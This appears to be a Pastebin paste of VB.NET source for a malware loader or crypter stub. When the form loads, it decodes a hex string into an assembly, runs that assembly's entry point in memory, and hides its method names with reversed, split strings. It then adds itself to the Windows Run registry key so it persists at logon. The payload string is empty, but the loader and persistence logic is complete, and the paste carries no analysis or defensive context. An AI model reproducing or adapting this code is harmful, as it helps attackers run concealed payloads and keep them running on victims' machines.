Advertisement
Guest User

Untitled

a guest
Feb 19th, 2018
113
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.23 KB | None | 0 0
  1. Imports System.Reflection
  2. Imports Microsoft.Win32
  3.  
  4.  
  5. Public Class Form1
  6. Private Sub TextBox2_TextChanged(sender As Object, e As EventArgs)
  7.  
  8. End Sub
  9.  
  10. Private Sub Button1_Click(sender As Object, e As EventArgs)
  11.  
  12. End Sub
  13.  
  14. Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
  15. Dim n As String = ""
  16.  
  17. Dim q1 As Object = Assembly.Load(HexToByte(n))
  18. Dim d2 As Object = CallByName(q1, "EntryPoint", CallType.Method)
  19.  
  20. Dim aa = vbNewLine & vbNewLine & vbNewLine & vbNewLine & vbNewLine & vbNewLine & vbNewLine & vbNewLine & vbNewLine & vbNewLine & vbNewLine & vbNewLine & vbNewLine & vbNewLine
  21.  
  22.  
  23. Dim E3 As Object = CallByName(d2, StrReverse("ek" & "ovni"), CallType.Get, StrReverse("oN") & "th" & "ing", Nothing)
  24.  
  25. Registry.SetValue("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", Application.ProductName, Application.ExecutablePath, RegistryValueKind.String)
  26. End Sub
  27.  
  28.  
  29.  
  30.  
  31.  
  32. Public Function HexToByte(ByVal str As String) As Byte()
  33. Dim xData As Byte() = str.Split(" "c).Select(Function(n) Convert.ToByte(Convert.ToInt32(n, 16))).ToArray()
  34. Return xData
  35. End Function
  36.  
  37.  
  38.  
  39. End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement